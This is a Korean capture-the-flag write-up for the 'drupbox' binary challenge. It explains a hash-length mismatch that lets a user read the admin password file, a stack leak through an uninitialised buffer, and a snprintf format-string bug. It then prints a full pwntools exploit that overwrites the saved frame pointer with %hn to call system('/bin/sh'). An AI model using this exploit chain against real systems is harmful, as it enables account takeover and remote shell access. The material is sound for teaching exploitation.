문제
drupbox 바이너리의 checksec 결과는 다음과 같다.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
file 명령어 결과는 다음과 같다.
drupbox: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ec0a64452c1c8ddb7b9789a574ca93fcf41dbdba, not stripped
바이너리 코드 userRegister()
...
chdir("./accounts/");
...
printf("userid : ");
v0 = read(0, buf, 0x100u) - 1;
printf("userpw : ");
n = read(0, v8, 0x100u) - 1;
buf[v0] = 0;
v8[n] = 0;
v1 = strlen(buf);
mMD5(buf, v1, &s);
fd = open(&s, 0);
if ( fd == -1 )
{
v2 = open(&s, 65, 432);
write(v2, v8, n);
close(v2);
sprintf(&path, "../users/%s/", &s);
mkdir(&path, 0x1F0u);
chdir("../");
}
else
{
puts("ID duplicated!");
close(fd);
}
userLogin()
...
chdir("./accounts/");
...
printf("userid : ");
n = read(0, buf, 0x100u) - 1;
printf("userpw : ");
v0 = read(0, s1, 0x100u) - 1;
buf[n] = 0;
s1[v0] = 0;
v1 = strlen(buf);
mMD5(buf, v1, &s);
fd = open(&s, 0);
if ( fd == -1 )
{
puts("ID doesn't exist!");
result = 0;
}
else
{
read(fd, &s2, 0x100u);
close(fd);
if ( !strcmp(s1, &s2) )
{
mMD5(buf, n, &s);
sprintf(&path, "../users/%s/", &s);
chdir(&path);
memcpy(&loginId, buf, n);
result = 1;
}
else
{
chdir("../");
result = 0;
}
}
...
DownloadFile()
...
s[read(0, s, 0x7Fu) - 1] = 0;
...
fd = open(s, 0);
if ( fd == -1 )
{
puts("File doesn't exist");
}
else
{
read(fd, &buf, 0x400u);
write(1, &buf, 0x400u);
close(fd);
}
userRegister 함수는 이름 그대로 사용자를 등록하는 함수이다. 이 함수에서는 ID의 MD5 해쉬값으로 accounts 디렉토리에 password를 저장하는 파일을 만든다. 그리고 users 디렉토리에 동일한 이름의 디렉토리를 만든다.
userLogin 함수는 password를 검증한 후에 /drupbox/users/MD5_해쉬값 디렉토리로 이동한다.
취약점
userRegister에서 파일과 디렉토리를 생성할 때는 mMD5(ID,strlen(ID),&s)의 결과값으로 만들지만 password 검증 후에 디렉토리를 바꿀 때는 mMD5(ID, read함수의 return 값 -1,&s) 의 결과값으로 변경한다.
따라서 ID가 1_4m_3ffr3s\x00_1_w4nt_admin와 같으면 userRegister 함수에서 파일과 디렉토리는 1_4m_3ffr3s의 해쉬값으로 만들어지지만 로그인 이후에는 1_4m_3ffr3s\x00_1_w4nt_admin의 해쉬값 디렉토리로 이동하는 명령어를 실행한다. 해당 디렉토리는 존재하지 않기 때문에 chdir 명령어는 실패하고 /drupbox/account 디렉토리에 머물게 된다.
=> 이를 이용하면 DownloadFile에서 admin 계정의 password 파일을 읽어올 수 있다. 또한 DownloadFile에서 buf를 0으로 초기화 하지 않기 때문에 write 함수를 통해 stack 있는 값들을 읽어올 수 있다. (libc_base, stack 주소, bss 영역 주소 leak 가능)
vuln()
...
read(0, &s, 0xDu);
...
snprintf((char *)&fsb, 0x14u, &s);
return __readgsdword(0x14u) ^ v3;
...
취약점
snprintf 함수에 format string buf가 존재한다.
exploit 방법
- userLogin에 존재하는 취약점을 이용하기 위해서 ID+NULL+something 과 같은 ID를 생성한다.
- 생성한 ID로 로그인을 한 이후에 DownloadFile에서 admin의 password가 저장되어 있는 파일을 읽는다. 그와 동시에 stack에 있는 값을 이용해 leak을 한다.
- vuln에서 fsb를 이용한다.
vuln의 fsb 함수에서 s에 넣을 수 있는 값이 13바이트 밖에 안된다. 처음에는 sfp 값을 loginID (.bss 영역에 존재, ID를 ID+NULL+system+”AAAA”+sh주소로 구성)의 주소값으로 바꾸려고 했다. 그런데 주소가 0x5XXXXXXX였다. 10자리 숫자여서 불가능… 그러다가 password를 read하는 버퍼의 주소가 sfp와 뒤에 두 바이트 값만 다른 것을 알게 되었다.
=> DownloadFile에서 stack 주소를 leak 할 수 있고 이 값을 이용해서 password가 저장되어 있는 buf의 주소를 알 수 있다.
(password를 password+”NULL”+”AA”+system+”AAAA”+sh의 주소로 구성)
그리고 %hn을 통해서 이 값을 sfp에 덮어쓰면 쉘을 획득할 수 있다.
풀이
#!/usr/bin/python
from pwn import *
def sd_id_pw(id,pw):
p.recvuntil("userid : ")
p.sendline(id)
p.recvuntil("userpw : ")
p.sendline(pw)
def login_reg(num):
p.recvuntil("Exit\n")
p.send(num)
def after_login(num):
p.recvuntil("Logout\n")
p.send(num)
file_path="/home/sungyun/round2/drupbox/drupbox"
id="1_4m_3ffr3s\x00_1_w4nt_admin"
passwd="try_h4rder"
MD5_admin="21232f297a57a5a743894a0e4a801fc3"
p=process(file_path)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
"""
userRegister
login_reg("2")
sd_id_pw(id,passwd)
"""
login_reg("1")
sd_id_pw(id,passwd)
after_login("2")
p.recvuntil("filename : ")
p.sendline(MD5_admin)
admin_pw=p.recv(0x340)
admin_pw=admin_pw[:admin_pw.find("\x00")]
stdout=u32(p.recv(4))
p.recv(68)
string=u32(p.recv(4)) # 1. Upload file ~
p.recv(112)
stack_addr=u32(p.recv(2)+"\x00\x00")
#stack_addr=u32(p.recv(4))
loginID=string-0x18e4+0x30a0
libc_base=stdout-0x001b2d60
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]
after_login("4")
login_reg("1")
exploit_pw=admin_pw+"\x00"+"A"*2+p32(system)+"AAAA"+p32(sh)
exploit_pw_addr=stack_addr-0x318
sd_id_pw("admin",exploit_pw)
after_login("5")
p.recvuntil("log : ")
pay="%"+str(exploit_pw_addr)+"d"+"%12$hn"
p.send(pay)
p.interactive()
알게 된 것
- Xinetd 데몬은 표준 입출력의 주체가 서버에 접속한 클라이언트이다.
standalone 환경의 서비스 데몬은 클라이언트의 통신을 표준 입출력이 아니라 socket을 생성하고 send(), recv()로 데이터 입출력을 한다.